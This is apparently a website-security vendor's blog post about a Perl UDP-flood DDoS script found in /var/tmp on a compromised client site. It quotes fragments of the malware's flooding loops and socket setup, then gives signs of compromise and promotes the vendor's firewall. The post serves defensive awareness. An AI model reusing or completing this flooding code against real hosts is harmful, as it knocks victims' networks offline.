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After a website is compromised, it can be misused in multiple ways. We often see it being used on Spam SEO campaigns or to distribute drive-by-downloads. However, last week, we found an interesting DDoS (Denial of Service) tool on one of our clients websites that I would like to share.

The code was added to /var/tmp and being called by an external PHP script to allow a remote attacker to start DDoS against specific targets. This is a snippet of the malicious code:

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpakets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &"); 
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

The malware takes an $ip, $port and $time as an argument to launch the attack:

$ARGC=@ARGV;
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[0];
$time=$ARGV[0];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
 

Once the information is supplied, the script sends as many UDP packets as possible trying to flood the victim’s network. The side effect is that the compromised server could also get overloaded by its resources (cpu/memory) consumption and also overflow bandwidth limits.

If your site is currently experiencing high usage of server resources or unexpected behavior, it could be an indication of a compromise. It’s equally important to be on the lookout for such issues.

You can always count on CloudProxy, our website firewall, to help you protecting your site against this and many other attacks.